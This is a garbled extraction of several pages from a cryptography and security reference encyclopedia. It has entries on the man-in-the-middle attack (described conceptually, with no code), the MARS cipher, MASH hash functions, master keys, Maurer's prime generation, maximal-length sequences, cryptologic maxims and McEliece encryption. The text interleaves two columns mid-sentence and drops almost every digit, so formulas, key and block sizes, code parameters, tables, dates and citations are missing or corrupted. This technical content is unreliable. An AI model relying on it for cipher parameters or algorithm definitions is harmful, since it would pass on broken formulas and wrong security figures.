Comparisons to Simplify Migration and Adoption () form of mandatory policy is the multilevel security pol-
Hewlett-Packard White Paper AAENW icy, based on the classifications of subjects and objects in
. Ferraiolo DF, Kuhn DR, Chandramouli R () Role-based
access control. Artech House, Boston and London
the system. Objects are passive entities storing informa-
. Decker M () Requirements for a location-based access con- tion. Subjects are active entities that request access to the
trol model. In: Proceedings of the th international conference objects. Note that there is a distinction between subjects
on advances in mobile computing & multimedia (MoMM), of the mandatory policy and the authorization subjects
Linz, Austria, November considered in the discretionary policies. While autho-
. Wright C, Cowan C, Smalley S, Morris J, Kroah-Hartman G
() Linux security modules. In: th Ottawa Linux sympo-
rization subjects typically correspond to users (or groups
sium, Ottawa thereof), mandatory policies make a distinction between
. Smalley S, Vance C, Salamon W () Implementing SELinux users and subjects. Users are human beings who can access
as a Linux security module. Technical Report -, NAI Labs the system, while subjects are processes (i.e., programs
. Ferraiolo DF, Sandhu R, Gavrila S, Kuhn DR, Chandramouli R in execution) operating on behalf of users. This distinc-
() Proposed NIST standard for role-based access control.
ACM Trans Inf Syst Secur :
tion allows the mandatory policy to control the indirect
. Shankar U, Jaeger T, Sailer R () Toward automated accesses (leakages or modifications) caused by the execu-
information-flow integrity verification for security-critical tion of processes.
applications. In: Proceedings of the network and distributed
systems security symposium, San Diego, February ,
pp Recommended Reading
. Hicks B, Rueda S, Jaeger T, McDaniel P () From trusted to . Samarati P, De Capitani di Vimercati S () Access control:
secure: building and executing applications that enforce systems policies, models, and mechanisms. In: Focardi R, Gorrieri R (eds)
security. In: Proceedings of the USENIX annual technical Foundations of Security Analysis and Design, LNCS, vol .
conference, Santa Clara, May , pp Springer, Heidelberg
MARS M
Advances in cryptology | crypto , proceedings. Lecture notes

Man-in-the-Middle Attack in computer science, vol . Springer, Santa Barbara,
August , pp
Yvo Desmedt . Brands S, Chaum D () Distance-bounding protocols. In:
Helleseth T (ed) Advances in cryptology | eurocrypt , pro-
Department of Computer Science, University College
ceedings. Lecture notes in computer science, vol . Springer,
London, London, UK Lofthus, May , pp
. Erroneous verisign-issued digital certificates pose spoofing
hazard. Updated: June , , Microsoft security bulletin
Related Concepts MS-, http://www.microsoft.com/technet/treeview/default.
asp?url=/technet/security/bulletin/MS- .asp, March,
DiffieHellman Key Agreement
Denition
An adversarial computer between two computers pretend-
ing to one to be the other. MARS
Theory Christophe De Cannire
The man-in-the-middle attack is a very old attack that has Department of Electrical Engineering, Katholieke
been used against a wide range of protocols, going from Universiteit Leuven, Leuven-Heverlee, Belgium
login protocols, entity authentication protocols, etc.
To illustrate, consider Secure Socket Layer (SSL),
used to protect the privacy and authenticity of WWW traf- Related Concepts
fic. Current Public Key Infrastructures are either nonex- AES candidate; Block Ciphers
istent or have very poor security, if any (for an incident
example, see []). This implies that a man-in-the-middle MARS [] is a block cipher designed by IBM.
can be launched as following. Suppose Alice wants to It was proposed as an Advanced Encryption Standard
have a secure WWW connection to Bobs WWW page. (Rijndael/AES) candidate in and was one of the five
When Eve is between Alice and Bob, Eve will pretend that finalists in the AES selection process.
her made-up public key is the one of Bob. So, when Alice
M
MARS has a block size of bits and accepts secret
accepts the fake certificate, she is in fact sending informa- keys of variable lengths, ranging from to bits.
tion to Eve. Eve can then start an SSL connection with It is a word-oriented cipher, i.e., all operations are per-
the real WWW page of Bob. Even though encryption and formed on -bit words. The main distinguishing feature of
authentication is used, once Eve has convinced Alice that MARS is its heterogeneous structure, inspired by the the-
her made-up key is the public key of Bob, Eve can be an oretical work of Naor and Reingold. The cipher consists of
active eavesdropper. three stages:
Man-in-the-middle attacks can also be launced against
entity authentication schemes [], allowing a third party, Forward Mixing: First, four -bit subkeys are added to
let say Eve, to pretend to be Alice. For possible solutions the data entering the cipher. The resulting block of
consult e.g., []. four -bit words is then passed through eight rounds
of a type- Feistel network. In each round, one
Experimental Results data word is used to modify the three other words.
Consult, e.g., []. The Feistel network uses two fixed -bit S-boxes
S and S , and does not depend on the secret key in
Recommended Reading any way.
. Bart J () Cars with keyless entry fall prey to antenna hack.
Cryptographic Core: The core of the encryption algorithm
http://hothardware.com/News/Cars%Dwith%Dkeyless%Den consists of a type- Feistel network of rounds. In
try%Dfall%Dpre%y%Dto%Dantenna%Dhack/, January, each round, the data is modified using an E-function
which takes as input one data word and two key words,
. Bengio S, Brassard G, Desmedt YG, Goutier C, Quisquater J-J
and produces three output words. The E-function itself
() Secure implementations of identification systems.
J Cryptol ():
uses many different components: a -bit S-box S, a
. Beth T, Desmedt Y () Identification tokens or: solving the -bit multiplication, fixed and data-dependent rota-
chess grandmaster problem. In: Menezes AJ, Vanstone SA (eds) tions, an addition, and XORs. After eight forward
M MARS
Plaintext: D[3] D[2] D[1] D[0]
Key addition
Forward mixing
Eight rounds of
unkeyed forward mixing
Eight rounds of keyed

forward transformation
Cryptographic
core
Eight rounds of keyed
backward transformation
Eight rounds of
unkeyed backwards mixing
Backwards mixing
Key subtraction
Ciphertext: D[3] D[2] D[1] D[0]
MARS. Fig. High-level structure of MARS
A1 13 A2 on the core rounds. In [], Biham and Furman have shown

impossible differentials over out of core rounds.
E-Function
An attack breaking rounds using amplified boomerang
techniques is presented by Kelsey, Kohno, and Schneier
out1
[, ]. The same authors also proposed a straightforward
B1 B2 meet-in-the-middle attack on a MARS version with only
out2 five core rounds, but with full forward and backward
mixing.
C1 C2
out3
D1 D2 Recommended Reading
. Biham E, Furman V () Impossible differential on -round
MARS. Fig. One round of the type- Feistel network of the MARS core. In: Proceedings of the Third AES candidate confer-
core (forward mode) ence, New York, April , pp
. Burwick C, Coppersmith D, Avignon ED, Gennaro R, Halevi S,
Jutla C, Matyas SM Jr, OConnor L, Peyravian M, Safford D, Zunic
N () MARS a candidate cipher for AES. In: Proceedings of
rounds, eight slightly different backward rounds are the First AES candidate conference, August . National
applied. Institute of Standard and Technology, Gaithersburg
Backwards Mixing: This layer is essentially the inverse of . Kelsey J, Schneier B () MARS attacks! Preliminary crypt-
analysis of reduced-round MARS variants. In: Proceedings of the
the forward mixing layer. Notice, however, that differ-
Third AES candidate conference, New York, April ,
ent subkeys are used. pp
. Kelsey J, Kohno T, Schneier B () Amplified boomerang
At present, only a few attacks on reduced-round ver- attacks against reduced-round MARS and Seprepent. In: Schneier
sions of MARS have been presented. Note that, due to B (ed) Fast software encryption (FSE ), New York,
its heterogeneous structure, MARS can be downscaled April . Lecture notes in computer science, vol . Springer,
in many different ways. A first approach is to concentrate Berlin, pp
MASH Hash Functions (Modular Arithmetic Secure Hash) M
The MASH- compression function, which maps n/

MASH Hash Functions (Modular bits to n bits, is defined as follows:
Arithmetic Secure Hash)
Hi =(((Xi Hi ) A) (mod N)) n Hi . ()
Bart Preneel
Department of Electrical Engineering-ESAT/COSIC, Here A = 0xF0000 and n denotes that the rightmost
Katholieke Universiteit Leuven and IBBT, n bits of the m-bit result are kept. The iteration starts with
Leuven-Heverlee, Belgium the all string or H = n and runs for i t + .
At the end, a rather complex output transformation
is applied to Ht+ . First Ht+ is divided into four n/-
Related Concepts bit blocks defined as follows: Ht+ = Y Y Y Y .
CorrectingBlock Attack; Hash Functions Define n/-bit blocks Yi = Yi Yi , i .
Combine the Yi to eight additional n/-bit blocks Xt++i =
Yi Yi , i , transform the Xt++i blocks to Xt++i ,
Denition and perform eight additional iterations of the compres-
MASH- and MASH- are constructions for Hash Func-
sion function with these blocks. Finally the hash result is
tions based on modular arithmetic. Both are unkeyed cryp-
computed as Ht++ mod p.
tographic hash functions that have been designed to have
MASH- is obtained by replacing in MASH- the expo-
the following properties: preimage resistance, second preim-
nent by the exponent = + .
age resistance, and collision resistance.
The redundancy in the block Xi (four bits in every
byte) and the additional operations (A and n) intend
Background to preclude a Correcting Block Attack. The complex out-
The history of hash functions based on modular arithmetic put transformation destroys some of the mathematical
dates back to the mid s. Many designs have been bro- structure of the modular exponentiation.
ken, including the one in CITT Recommendation X. When the factorization of the modulus is not known,
Annex D (ISO -) (cf. Correcting Block Attack). the best known (nd) preimage and collision attacks on
The MASH design is the result of a long design effort within MASH- require n/ and n/ operations []; they are thus
ISO/IEC JTC/SC/WG; the final result was published as not better than brute force attacks. While to date no effi- M
Part of ISO/IEC [] in . The MASH hash func- cient attacks are known that exploit the factorization of
tions are among the first hash function designs that use a the modulus, knowledge of the factorization may reduce
strong output transformation. the security level. Therefore it is strongly recommended
that the modulus N is generated by a trusted party (who
Theory deletes the factors after generation) or by using multi-party
In the following, N denotes an RSA modulus, that is, the computation (e.g., Boneh and Franklin [] and Frankel
product of two large primes and m denotes its length in et al. []).
bits or m = log N. The length n of the chaining vari-
ables in bits is then equal to the largest multiple of strictly
smaller than m. The length of the message blocks is equal Recommended Reading
. Boneh D, Franklin M () Efficient generation of shared
to n/ bits. The specification also needs a prime number p
RSA keys. In: Kaliski B (ed) Advances in cryptology
with log p m/; the prime p shall not be a divisor of N CRYPTO : proceedings, Santa Barbara, August .
and the three most significant bits of p shall be equal to . Lecture notes in computer science, vol . Springer, Berlin,
The operation denotes the concatenation of strings. pp
MASH- is defined for input strings of length < n/ . Coppersmith D, Preneel B () Comments on MASH- and
MASH-. February , ISO/IEC JTC/SC/N
bits. If necessary, the string X is right-padded with bits
. Frankel Y, MacKenzie PD, Yung M () Robust efficient dis-
to obtain a string with bit-length a multiple of n/ and tributed RSA-key generation. In: Proceedings th ACM Sympo-
the resulting string is divided into t n/-bit blocks denoted sium on the Theory of Computing, Dallas, May . ACM
with X , X , , Xt . Next, a block Xt+ is added which con- Press, New York, pp
tains the binary representation of the input string X in bits, . ISO/IEC Information technology Security techniques v
Hash-functions. Part : General, . Part : Hash-functions
left-padded with bits. Subsequently each block Xi is
using an n-bit block cipher algorithm, . Part : Dedicated
expanded to an n-bit block Xi as follows: insert four bits hash-functions, . Part : Hash-functions using modular
before every -bit substring of Xi . arithmetic,
M Master Key
Related Concepts
Master Key Primality Test; Prime Generation; Prime Number
Carlisle Adams Denition

School of Information Technology and Engineering Maurers method (or Maurers algorithm) generates prov-
(SITE), University of Ottawa, Ottawa, Ontario, Canada ably prime numbers that are nearly random.
Related Concepts
Hash Functions; Key; Symmetric Cryptosystem
Background
Maurers algorithm was first described by Ueli Maurer
Denition in [].
A master key is a cryptographic key used only for the
protection of other keys. Theory and Applications
In Maurers method, a number n is generated along with a
Applications certificate of primality to prove that n is prime. The cer-
A master key is a cryptographic key (typically a symmet- tificate consists of a triple of number R, F, a, along with the
ric key (Symmetric Cryptosystem)) whose sole purpose
prime factorization q . . . , qr r of F, where RF + = n, and
is to protect other keys, such as session keys, while those such that
keys are in storage, in use, or in transit. This protection
may take one of two forms: the master key may be used . an n
mod n
to encrypt the other keys, or the master key may be used . gcd(a , n) = for all j r.
qj
to generate the other keys (e.g., if the master key is k , ses- This triple of numbers guarantees that all prime fac-
sion key k may be formed by hashing (Hash Function) tors of n are of the form mF + for some positive integer m
the concatenation of k and the digit , session key k may (the proof of this lemma can be found in [] but is too com-
be formed by hashing the concatenation of k and the digit
plicated to be included here). In particular, if F n then
, and so on). n must be prime as the product of any two primes of the
Master keys are usually not themselves cryptograph- form mF + is at least F + F + > F n.
ically protected; rather, they are distributed manually or Maurers algorithm generates a prime at random by
initially installed in a system and protected by procedural generating R and F at random with the prime factoriza-
controls and/or by physical or electronic isolation [, ]. tion of F known, and testing to see if a random a makes
a certificate of primality with R and F for n = RF + .
Recommended Reading In order to generate F at random with known factoriza-
. Menezes A, van Oorschot P, Vanstone S () Handbook of
tion, we pick sizes for the primes of F at random according
applied cryptography. CRC, Boca Raton, FL
. Schneier B () Applied cryptography: protocols, algorithms, to a properly constructed distribution and generate primes
and source code in C, nd edn. Wiley, New York of those sizes recursively. (As a base case, random selec-
tion and trial division or some other simple test is used to
generate sufficiently small primes.) The manner in which
these sizes are generated is rather complicated, but it is
Maurers Algorithm essentially along the lines of Bachs algorithm []. As any
certificate actually proves that n is prime, none will ever
Maurers Method be found for a composite number. In fact, most will fail
the first step which is a single Fermat primality test.
Furthermore, the probability that a random base a does
Maurers Method form a certificate for n = RF + when n is prime is approx-
imately (F)/F where (n) is Eulers totient function,
Moses Liskov the number of positive values less than or equal to n which
Department of Computer Science, The College of William are relatively prime to n. This ratio is high (approximately
and Mary, Williamsburg, VA, USA rj= qj , so the probability that a prime number will be
recognized is nearly .
Synonyms As is, Maurers method generates prime numbers close
Maurers algorithm to uniformly, so they are nearly random. More efficient
Maximal-Length Sequences M
variants are also possible at the cost of a less uniform with initial state (s , s , s ) = () generates a periodic
distribution. sequence
. . .
Recommended Reading
. Bach E () How to generate random factored numbers. SIAM of period e = . Different initial states lead to different
J Comput (): sequences which can be cyclic shifts of each other.
. Maurer UM () Fast generation of prime numbers and secure Binary sequences can easily be generated in hardware
public-key cryptographic parameters. J Cryptol ():
using a linear shift register. One example of a shift regis-
ter is shown in Fig. . The register consists of flip-flops
each containing a or a . The shift register is controlled
by an external clock (not shown in the figure). Each time
Maximal-Length Sequences unit shifts each bit one step to the left and replaces the
rightmost bit by the sum (mod ) of the two leftmost bits.
Tor Helleseth The register implements the recursion st+ = st+ + st
The Selmer Center, Department of Informatics, (mod ), which with initial state (s , s , s ) = () gives
University of Bergen, Bergen, Norway the periodic sequence . . . above. Table shows the
content of the shift register at each time unit.
A linear recursion of degree n is given by
Synonyms n
m-Sequence; ML-Sequence fi st+i =
i=
Related Concepts where coefficients fi GF() for < i < n and f = fn = .

Autocorrelation; Cross-Correlation; Cyclic Codes; The characteristic polynomial of the recursion is defined by
Eulers Totient Function; Finite Field; Gap; Golombs n
Randomness Postulates; Irreducible Polynomial; Linear f (x) = fi xi .
Feedback Shift Register; Modular Arithmetic; Primitive i=
Element; Pseudo-Noise Sequences (PN-Sequences); The initial state and the given recurrence relation M
Rijndael/AES; Run; Sequences; Stream Cipher uniquely determine the generated sequence. A linear shift
register with a characteristic polynomial of degree n gen-
Denition erates n different sequences corresponding to the n dif-
A binary maximal-length linear sequence is a sequence of ferent initial states and these form a vector space over
period n generated by a linear recursion of degree n. GF().
An n-bit linear shift register has at most n different
Theory states. Since the zero state always is followed by the zero
Among the most popular sequences for applications state, all sequences generated by a linear shift register have
are the maximal-length linear feedback shift regis- period at most n . A maximal length shift register
ter sequences (m-sequences) [, ]. The balance, run sequence (m-sequence) is a periodic sequence of maxi-
distribution and autocorrelation properties of these mal period n generated by a linear shift register of
sequences resemble properties one expect to find in ran- degree n. The period of a polynomial f (x) is defined as
dom sequences. The m-sequences are the main ingredients the smallest positive integer e such that f (x) xe .
in many important sequence families used in communica-
tion [, ] and in many stream cipher systems. Following
is a description of m-sequences over the binary alphabet
GF() = {, }, even though the sequences can be defined
with symbols from any finite field with q elements, where
q is a prime power.
A simple and efficient method to generate a sequence
is using a linear recursion. For example, the recurrence
relation (Modular Arithmetic) Maximal-Length Sequences. Fig. Shift register for st+ =
st+ = st+ + st (mod ) st+ + st (mod )
M Maximal-Length Sequences
Maximal-Length Sequences. Table Shift register content in with two (when every second term of the sequence is
Fig. generating an m-sequence selected), i.e., {ut } = {ut }.
t S S S (Run property) Let a run denote a consecutive set
of zeros or ones in the sequence. In a period of the
m-sequence, half of the runs have length , one-fourth
have length , one-eight have length , etc., as long as
the number of runs exceeds . Moreover, for each of
these lengths, there are equally many -runs (gaps)

and -runs (blocks).

Example Consider the sequence with characteristic poly-
nomial x + x + . This is a primitive polynomial and gener-
ates the m-sequence {st } = . The sequence
Maximal-Length Sequences. Table Characteristic
has the properties above, and it is balanced and contains
polynomials and m-sequences
zeros and ones. Each -tuple except the all zero -
Degree f (x) m-sequence Period tuple occurs exactly once during a period of the sequence.
x + x +
The shift-and-add property is illustrated by the example
x + x +
x + x + st+ + st = +
x + x + =
x + x +
= st+ .
Let f (x) be an irreducible polynomial of degree n and The sequence {st } is invariant by decimating by , i.e., in this
period e = n . Such a polynomial is called a primitive case = , since {st } = {st }. Further, there are runs of
polynomial (Primitive Element). The corresponding shift length , runs of length , run of length , and run of
register generates an m-sequence when the initial state is length . The number of runs and runs of length < are
nonzero. Any m-sequences have a primitive characteristic the same.
polynomial. Given a sequence {st } of period e. In many applica-
Binary m-sequences are perhaps the best known fam- tion it is important to compare the sequence with its cyclic
ily of sequences. Table shows some m-sequences and the shifts. The autocorrelation of the binary sequence {st }, at
corresponding characteristic polynomials. Figure shows a shift , is defined as
shift register having f (x) = x + x + as characteristic poly- e
nomial and that generates an m-sequence of period e = A() = ()s t+ s t .
when the initial state is nonzero. Important properties for t=
a binary m-sequence {st } of period n are: In particular A() gives the number of agreements
minus the number of disagreements between {st+ } and
(Balance property) In a period of the m-sequence there {st }. In most applications it is desirable that a shift of
are n ones and n zeros. the sequence looks like a "random" sequence compared
(Multi-gram property) When t runs through , , . . . , to itself, i.e., that A() is small for all / (mod e).
n , the n-tuple A very important property for an m-sequence is its two-
(st , st+ , , st+n ) level out-of-phase autocorrelation when / (mod e).
The autocorrelation of an m-sequence {st } of period
runs through all binary n-tuples except for the n-tuple e = n is given by:
(,,,), which does not occur.
for / (mod n ),
(Shift-and-add property) For any , < n , A() = {
for
n
(mod n ).
there exists a , depending on , such at
To prove this, define ut = st+ st and observe that {ut }
st+ + st = st+ obeys the same linear recursion as {st }. This implies that
{ut } is an m-sequence when / (mod n ) and the
for all t = , , , .
balance property of m-sequences gives
(Invariance under decimating by ) There exists a
e e
shift of the m-sequence such that the shifted
A() = ()s t+ s t = ()ut = .
sequence {ut } = {st+ } is invariant under decimation t= t=
Maximal-Length Sequences M
Balance, multi-gram, and autocorrelation properties the characteristic polynomial of {sdt } is the primitive poly-
of m-sequences are properties one can expect in ran- nomial whose zeros are dth powers of the zeros of f (x).
dom binary sequences. The m-sequences obey the three The properties of the trace function implies that different
Golombs randomness postulates R, R, and R [, m-sequences of the same period generated by distinct
]. R is the balance property, R the run property, primitive characteristic polynomials are cyclically distinct.
and R the two-level autocorrelation property. Actually, The number of binary primitive polynomials of degree n is
these properties of m-sequences were the models for his (n )/n, where (x) is the Eulers totient function,
postulates. the number of positive integers less than x that are rela-
In order to describe the m-sequence it is useful to intro- tively prime to x (Modular Arithmetic). Thus, there are
duce the trace function Tr, which is a mapping from the (n )/n cyclically distinct m-sequences of period n .
finite field GF(n ) to the subfield GF() given by: The example below shows the two ()/ = cyclically
distinct m-sequences of period e = .
n i
Tr(x) = x . Example The primitive polynomial f (x) = x + x +
i=
generates the m-sequence {at } = . . . of period e =
The trace function satisfies the following: = . The primitive polynomial f (x) = x + x +
generates the m-sequence {bt } = . . . of period e =
. Tr(x + y) = Tr(x) + Tr(y), for all x, y GF(n ). = . Note that {bt } = {at } is the sequence obtained
. Tr(x ) = Tr(x), for all x GF(n ). by selecting every third element of {at }, where indices are
. {x GF(n ) Tr(x) = b} = n for all b GF(). calculated modulo e.
. Let a GF(n ). If Tr(ax) = for all x GFn , then
a = . A well-studied problem is to compare two different
m-sequences of the same period. Let Cd () denote the
Let f (x) be the characteristic polynomial of the binary cross-correlation function between the m-sequence {st }
m-sequence {st }. It is well known that the zeros of f (x) and its decimation {sdt }. By definition,
i
belong to the finite field GF(n ). The zeros are for i =
n
, , , n, where is a primitive element of GF(n ), i.e., s
Cd () = () t+
s dt
.
an element of order n . The m-sequence can be written i=
simply in terms of the trace representation as M
If d / {, , , n }, (i.e., when the two m-sequences
st = Tr(a t ), a GF(n ) , are cyclically distinct), then Cd () takes on at least three
distinct values as varies over the set {, , , n }.
where GF(n ) = GF(n )/{}. This follows from the It is therefore of special interest to study the cases when
properties of the trace function. First observe that {st } has exactly three values occur. The following six decimations
f (x) as its characteristic polynomial since, give three-valued cross correlation.
n n . d = k + , n/gcd(n, k) odd.
t+i
fi st+i = fi Tr(a ) . d = k k + , n/gcd(n, k) odd.
i= i= n n+
n
. d = + + , n (mod ).
n+
t
= Tr (a fi )
i . d = + , n (mod ).
n
i= . d = + , n odd.
n n
= Tr(a t f ( i )) + if n (mod )
. d = { n n
= . + if n (mod ).
The n different nonzero values of a = , Applications

n , correspond to all the cyclic shifts of the m-sequence. The cross-correlation function of m-sequences have many
The case a = gives the sequence with the property that applications. Gold sequences, which are based on adding
{st } = {st }. m-sequences that differ by the decimation () above,
Given an m-sequence {st } of period n and let d be have found extensive practical applications during several
relatively prime to n . The sequence {sdt } defined by decades. The cross correlation of m-sequences has also
selecting every dth term in {s(t)} is also an m-sequence several close connections to almost bent functions as well
and all m-sequences of the same period can be obtained as to almost perfect nonlinear (APN) functions, which
in this way. It follows from the trace representation that are very important in studying S-boxes in cryptography
M Maxims
(see [, ] and Cyclic Codes). In the Advanced Encryption Here the most often quoted cryptological security
Standard (Rijndael/AES), properties of the S-boxes come maxims are listed [].
from properties of the cross correlation of an m-sequence
Maxim Number One: One should not underrate the adver-
and its reversed m-sequence. Recently the cross correlation
sary.
of binary and nonbinary m-sequences has been important
Della Portas maxim: Only a cryptanalyst, if anybody, can
in constructing new families of sequences with two-level
judge the security of a cryptosystem (Auguste Kerck-
autocorrelation.
hoffs, [] formulating the knowledge of the sixteenth
The pseudo-random properties of m-sequences have
century cryptologist Giambattista Della Porta[]).
made them a popular building block in many communi-
To this, David Kahn remarked: Nearly every inventor
cation systems and has lead to numerous practical appli-
of a cipher system has been convinced of the unsolv-
cations, including synchronization, positioning systems,
ability of his brainchild.
random number generation, stream cipher systems [],
Kerckhoffs maxim: No inconvenience should occur if the
and multiple-access communication.
cryptosystem falls into the hands of the enemy [].
Givierges maxim: Superficial complications can be illu-
Recommended Reading sory, for they can provide the cryptographer with a
. Chabaud F, Vaudenay S () Links between differential and lin- false sense of security (Marcel Givierge, French crypt-
ear cryptanalysis. In De Santis A (ed) Advances in cryptology
analyst in WWI [, ]).
EUROCRYPT, vol , Lecture notes in computer science,
pp . Springer, Berlin Rohrbachs maxim: In judging the encryption security of
. Golomb SW () Shift register sequences. Holden-Day series in a class of methods, cryptographic faults and other
information systems. Holden-Day, San Francisco, . Revised infringements of security discipline are to be taken into
ed., Aegean Park Press, Laguna Hills account. To this, Otto Horak remarked: Security of
a weak cipher method is not increased by trying to
for wireless communication, cryptography, and radar. Cambridge
University Press, Cambridge keep it [the method] secret. Thus, among other rec-
. Helleseth T () Linear and nonlinear sequences and appli- ommendations, the key has to be changed frequently,
cations to stream ciphers. In Luengo I (ed) Recent trends in a periodic key is dangerous and, in the ideal case, a
cryptography, vol , Contemporary mathematics, pp . random one-time key is to be used [].
American Mathematical Society, Providence, Rhode Island
Shannons maxim: The enemy knows the general system
. Helleseth T, Vijay Kumar P () Sequences with low correla-
tion. In Pless VS, Huffman WC (eds), Handbook in coding theory, being used [].
vol II, pp . Elsevier, Amsterdam Kahns maxim: Cryptographic errors, blunders, and faults
. Helleseth T, Vijay Kumar P () Pseudonoise sequences. can significantly simplify unauthorized decryption.
In Gibson JD (ed) The communications handbook nd edn, To this, David Kahn [] remarked A cryptographers
pp . CRC Press, London
error is the cryptanalysts only hope.
. Nyberg K () Differentially uniform mappings for cryptog-
raphy. In Helleseth T (ed) Advances in cryptology - EURO-
CRYPT, vol of Lecture notes in computer science, pp
. Springer, Berlin Recommended Reading
. Selmer ES () Linear recurrence relations over finite fields.
. Bauer FL () Decrypted secrets. In: Methods and maxims of
Department of Mathematics, University of Bergen, Norway
. Zierler N () Linear recurring sequences. J Soc Ind Appl Math
. Givierge M () Questions de Chiffre, Revue Militaire
():
Franaise, vol (June ), (July ) , Paris
. Givierge M () Cours de Cryptographie. Berger-
Levrault, Paris
. Kahn, D () The codebreakers. Macmillan, New York
. Kerckhoffs () Auguste, La Cryptographie militaire. Journal
Maxims des Sciences Militaires, (January) , (February) .
Available on http://www.cl.ac.uk./usweatfapp/kerckhoffs/
. Porta, GD () De Furtivis Literarum Notis. Naples
Friedrich L. Bauer . Rohrbach H () Mathematische und Maschinelle Meth-
Kottgeisering, Germany oden beim Chiffrieren und Dechiffrieren. FIAT Review of Ger-
man Science, : Applied Mathematics, (I):,
Wiesbaden: Office of Military Government for Germany, Field
Information Agencies,
Related Concepts . Shannon CE () Communication theory of secrecy systems.
Cryptology (Classical); Shannons Model Bell Syst Tech J :
McEliece Public Key Cryptosystem M
Decryption. The cleartext is recovered by applying the

McEliece Public Key Cryptosystem t-error correcting procedure of C to yP .
In practice. The initial proposal of McEliece was to use
Nicolas Sendrier irreducible binary Goppa codes of length n = and
Project-Team SECRET, INRIA Paris-Rocquencourt, dimension k = correcting t = errors. To keep
Le Chesnay, France up with years of progress in algorithmics and com-
puters [], larger codes are required to obtain secure
Related Concepts cryptosystems. We now need a length n = and a
Error Correcting Codes; Public-Key Encryption; dimension k = t, with t .
Syndrome Decoding Problem
Security and Practice
Denition We are given a family of binary Goppa codes. For an error-
The McEliece PKC is a public-key encryption scheme correcting capability of t errors, those codes have length
based on error correcting codes. The cryptogram is a code n m and dimension k = n mt (codimension r = mt)
word of a binary Goppa code to which errors are added. for some integer m.
Only the legal user, who knows the hidden algebraic struc-
ture of the code, can remove those errors and recover the Security Reduction
cleartext. The security of the McEliece encryption scheme is prov-
ably reduced to the easiest of the two following decision
Theory problems.
It was introduced by Robert J. McEliece in [] and
is among the oldest public-key encryption schemes. Its Problem (Goppa Bounded Decoding - GBD)
security is related to hard algorithmic problems of alge- Instance: A matrix H in {, }rn and a word s of
braic coding theory. Its main advantages are very efficient {, }r .
encryption and decryption procedures and a good practi- Question: Is there a word e in {, }n of weight logr n

cal and theoretical security. On the other hand, its main such that HeT = s?
drawbacks are a public key of large size and a ciphertext
which is larger than the cleartext.
Problem (Goppa Code Distinguishing - GD) M
Instance: A matrix G in {, }kn .
General Idea Question: Is G a generator matrix of a binary Goppa
The cleartext of k binary digits is encoded into a code word code?
of n > k binary digits by means of some encoder of a Problem is a variant of the NP-complete Syndrome
t-error correcting binary irreducible Goppa code of length Decoding (SD) problem [] and is also NP-complete [].
n and dimension k. The ciphertext is obtained by flipping t The status of Problem is unknown []. Both of them are
randomly chosen bits in this code word. The cleartext is conjectured hard in the average case.
recovered from the ciphertext by applying the decoding
procedure. The encoder (a generator matrix of the code) Best Known Attacks
is public but the decoder is known only by the legal user. The two approaches for the cryptanalysis are:
Description Message or decoding attack : decode t error in a known
Let F denote a family of binary irreducible t-error cor- binary linear code of length n and dimension k
recting Goppa codes of length n and dimension k (where Key or structural attack : deduce from the public key G
k n t log n). an efficient t-error correcting procedure
Key generation. The legal user picks randomly and uni- The best known decoding attack is Sterns variant of infor-
formly a code C in the family F . Let G be a generator mation set decoding []. Its first full scale implementation
matrix of C. The public key is equal to G = SG P, where is given in []. An effective attack breaking the original
S a random k k non-singular binary matrix and P a McEliece parameters (n = , k = and t = ) in
random n n permutation matrix. CPU operations is reported in [].
Encryption. The cleartext is a word x of Fk . The cipher- The best known structural attack is reported in []. It is
text is a word of Fn equal to xG+e, where e is randomly in fact an exhaustive search over the code family using the
chosen with a Hamming weight t. support splitting algorithm []. It is always less efficient
M MD Hash Function
McEliece Public Key Cryptosystem. Table Some parameters Laboratory, California Institute of Technology, Pasadena, CA,
for the McEliece cryptosystem pp
(m, t) (, ) (, ) (, ) (, ) (, ) . Stern J () A method for finding codewords of small weight.
Ciphertext In: Cohen G, Wolfmann J (eds) Coding theory and applications.
bits
pp
Cleartext bits . Canteaut A, Chabaud F () A new algorithm for find-
Information . . . . . ing minimum-weight words in a linear code: application to
rate McElieces cryptosystem and to narrow-sense BCH codes of
Key size (in length . IEEE Trans Inf Theory ():
KB) . Bernstein D, Lange T, Peters C () Attacking and defend-
Security bits . . . . . ing the McEliece cryptosystem. In: Buchmann J, Ding J (eds)
Post-quantum cryptography. Lecture notes in computer science,
Systems using binary Goppa code of length n = m and dimension vol . Springer, Berlin, pp
k = n mt . Berlekamp ER, McEliece RJ, van Tilborg HC () On the inher-
The security is the logarithm in base of a lower bound [] for the cost ent intractability of certain coding problems. IEEE Trans Inf
of the best decoding attack Theory ():
. Finiasz M () Nouvelles constructions utilisant des codes
McEliece Public Key Cryptosystem. Table Performances correcteurs derreurs en cryptographie clef publique. Thse de
doctorat, cole Polytechnique
and features of the hybrid McEliece encryption scheme
. Sendrier N () On the security of the McEliece public-
(m, t) (, ) (, ) (, ) (, ) (, ) key cryptosystem. In: Blaum M, Farrell P, van Tilborg H (eds)
Ciphertext Information, coding and mathematics. Kluwer international
bits series in engineering and computer science, vol . Kluwer,
Cleartext bits Dordrecht, pp . Proceedings of Workshop honoring Prof.
Bob McEliece on his th birthday
Information . . . . .
. Loidreau P, Sendrier N () Weak keys in McEliece public-key
rate cryptosystem. IEEE Trans Inf Theory ():
Encryption . Sendrier N () Finding the permutation between equivalent
costa codes: the support splitting algorithm. IEEE Trans Inf Theory
Decryption ():
costa . Biswas B, Sendrier N () McEliece cryptosystem in real life:
m theory and practice. In: Buchmann J, Ding J (eds) PQCrypto
Systems using binary Goppa code of length n = and dimension
k = n mt
Berlin, pp
The cleartext size is slightly smaller than k + log (nt)
a . Finiasz M, Sendrier N () Security bounds for the design
Performances given in cycles per cleartext byte, measured on a single
of code-based cryptosystems. In: Matsui M (ed) Advances in
core of a Core Intel processor. The C source code of [] was compiled
cryptology ASIACRYPT . Lecture notes in computer
with icc
. HyMES: Hybrid McEliece Encryption Scheme, http://www-roc.
inria.fr/secret/CBCrypto/index.php?pg=hymes Open source
than the decoding attack. Table presents the main fea- software
tures of the scheme for some typical sets of parameters. The
key size is for a systematic generator matrix (i.e., the first
kk block of the public key G is the identity matrix). Using
systematic generator matrices is provably as secure as the
MD Hash Function
original scheme [].
MD-MD
System Implementation
There exists one free open source implementation [] of
a variant of the McEliece encryption scheme. The error MD-MD
pattern is used to encode additional information, which
increases the information rate. Table presents the perfor- Nicky Mouha
mances of this particular implementation. Department of Electrical Engineering, Katholieke
Recommended Reading
. McEliece RJ () A public-key cryptosystem based on alge- Synonyms
